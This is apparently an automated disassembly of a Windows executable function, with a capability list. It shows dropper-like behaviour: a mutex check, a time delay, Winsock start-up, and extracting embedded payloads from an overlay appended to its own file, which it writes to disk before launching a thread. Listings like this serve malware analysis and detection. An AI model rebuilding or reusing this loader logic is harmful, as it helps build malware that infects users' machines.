Function at 0x40334a
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Get common file path
Initialize winsock library
Read file on windows
Terminate process
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x674
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [0x404b5b], eax
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push 0x8003
mov dword [0x404a94], eax
call dword [sym.imp.KERNEL32.DLL_SetErrorMode]
xor ebx, ebx
mov byte [0x404a98], 0x25
mov byte [0x404a99], 0x78
mov byte [0x404a9a], bl
xor eax, eax
mov edi, 0x404054
mov ecx, 0x40
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
xor eax, eax
mov edi, 0x404b1b
mov ecx, 0x40
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
xor eax, eax
mov edi, 0x404094
mov ecx, 0xa00
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
xor eax, eax
mov edi, 0x404b5f
mov ecx, 0x80
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
xor eax, eax
mov edi, 0x404a9b
mov ecx, 0x80
push ecx
shr ecx, 2
rep stosd dword es:[edi], eax
pop ecx
and ecx, 3
rep stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, eax
cmp esi, ebx
je 0x40342e
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esi + eax - 1]
cmp byte [eax], 0x75
jne 0x40342e
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov esi, 0x200
push esi
lea eax, [ebp - 0x26c]
push eax
mov byte [ebp - 0x26c], bl
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x403980
lea eax, [ebp - 0x26c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
cmp byte [ebp - 0x26c], bl
lea eax, [ebp - 0x26c]
je 0x403474
cmp byte [eax], 0x5c
jne 0x40346f
mov byte [eax], 0x5f
inc eax
cmp byte [eax], bl
jne 0x403467
lea eax, [ebp - 0x26c]
push eax
push 1
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
test eax, eax
je 0x40349c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x40349c
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
lea eax, [ebp - 0x3fc]
push eax
push 2
call sub.WS2_32.DLL_WSAStartup
call fcn.004019c3
call fcn.00401af7
call fcn.00401dc4
test eax, eax
jne 0x40377b
push ebx
call fcn.00402abd
mov dword [esp], 0x100000
call fcn.00401771
pop ecx
mov dword [ebp + 0x64], eax
push esi
lea eax, [ebp - 0x5fc]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push ebx
push ebx
push 3
push ebx
push 1
push closesocket
lea eax, [ebp - 0x5fc]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp + 0x70], esi
je 0x40376d
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffff8
push esi
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push 8
lea eax, [ebp - 0x6c]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
call esi
cmp dword [ebp + 0x74], 8
jne 0x403590
cmp dword [ebp - 0x6c], ebx
jne 0x403590
cmp dword [ebp - 0x68], ebx
jne 0x403764
push 1
push ebx
push 0xfffffffffffffff7
jmp 0x40355c
cmp dword [ebp + 0x74], 1
jne 0x403576
push 1
push ebx
push 0xfffffffffffffffe
push dword [ebp + 0x70]
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push 1
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x70]
call esi
cmp dword [ebp - 0x6c], ebx
je 0x403551
push 1
push ebx
push 0xfffffffffffffffb
push dword [ebp + 0x70]
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push 8
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x70]
call esi
cmp dword [ebp - 0x6c], 0xdeadf00d
jne 0x403764
mov eax, dword [ebp - 0x68]
cmp eax, 0x10
jae 0x403764
push 1
push ebx
push 0xfffffffffffffff8
pop ecx
mov dword [ebp + 0x60], eax
shl eax, 4
sub ecx, eax
push ecx
push dword [ebp + 0x70]
mov dword [ebp + 0x6c], eax
call edi
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x6c]
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0x70]
call esi
cmp dword [ebp + 0x60], ebx
je 0x403764
lea edi, [ebp - 0x64]
mov dword [ebp + 0x68], 0x4040b4
dec dword [ebp + 0x60]
push ebx
push ebx
push dword [edi - 4]
push dword [ebp + 0x70]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, dword [edi - 8]
cmp eax, 0xffffeedd
jne 0x403625
mov eax, dword [edi]
push 0x40
pop ecx
cmp eax, ecx
mov dword [ebp + 0x74], eax
jbe 0x40360e
mov dword [ebp + 0x74], ecx
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [ebp + 0x74]
push 0x404054
push dword [ebp + 0x70]
call esi
jmp 0x403758
cmp eax, 0xffffeeff
jne 0x403648
mov eax, dword [edi]
push 0x40
pop ecx
cmp eax, ecx
mov dword [ebp + 0x74], eax
jbe 0x40363b
mov dword [ebp + 0x74], ecx
push ebx
lea ecx, [ebp + 0x74]
push ecx
push eax
push 0x404b1b
jmp 0x40361b
push ebx
lea eax, [ebp + 0x74]
push eax
push dword [edi]
push dword [ebp + 0x64]
push dword [ebp + 0x70]
call esi
lea eax, [ebp - 0x5fc]
push 1
push eax
call fcn.004020ff
pop ecx
pop ecx
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x5fc]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 0x6c], eax
je 0x403758
push ebx
lea ecx, [ebp + 0x74]
push ecx
push dword [edi]
push dword [ebp + 0x64]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [edi]
mov ecx, dword [ebp + 0x64]
cmp dword [ecx + eax - 4], 0xfefefefe
jne 0x4036c0
call fcn.0040173c
and eax, 0xfff
push eax
push dword [ebp + 0x6c]
call fcn.004017f2
pop ecx
pop ecx
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x5fc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp + eax - 0x5fc]
jmp 0x4036e0
dec eax
cmp byte [eax], 0x2e
jne 0x4036df
cmp bl, 0x5c
mov byte [eax], bl
je 0x4036f2
dec eax
cmp byte [eax], 0x5c
jne 0x4036ec
inc eax
push eax
mov eax, dword [ebp + 0x68]
add eax, 0xffffffe8
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [edi + 4]
cmp ecx, 1
jbe 0x40373e
mov eax, ecx
mov dword [ebp + 0x6c], eax
call fcn.0040174e
mov edx, eax
mov eax, dword [ebp + 0x6c]
shr eax, 0x10
mov ecx, 0x7fff
and eax, ecx
imul eax, eax, 0x3c
add edx, eax
mov eax, dword [ebp + 0x68]
mov dword [eax], edx
mov edx, dword [ebp + 0x6c]
shr edx, 1
and edx, ecx
mov ecx, dword [ebp + 0x6c]
imul edx, edx, 0x3c
mov dword [eax + 4], edx
jmp 0x403746
mov eax, dword [ebp + 0x68]
mov dword [eax], ebx
mov dword [eax + 4], ebx
and ecx, 1
mov dword [eax - 0x1c], ecx
mov ecx, dword [edi - 8]
mov dword [eax - 0x20], ecx
add eax, 0x28
mov dword [ebp + 0x68], eax
add edi, 0x10
cmp dword [ebp + 0x60], ebx
jne 0x4035e4
push dword [ebp + 0x70]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.00401f46
push dword [ebp + 0x64]
call fcn.0040175e
pop ecx
call fcn.00402d2e
lea eax, [ebp + 0x74]
push eax
push ebx
push ebx
push 0x4032e5
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop edi
pop esi
xor eax, eax
pop ebx
add ebp, 0x78
leave
ret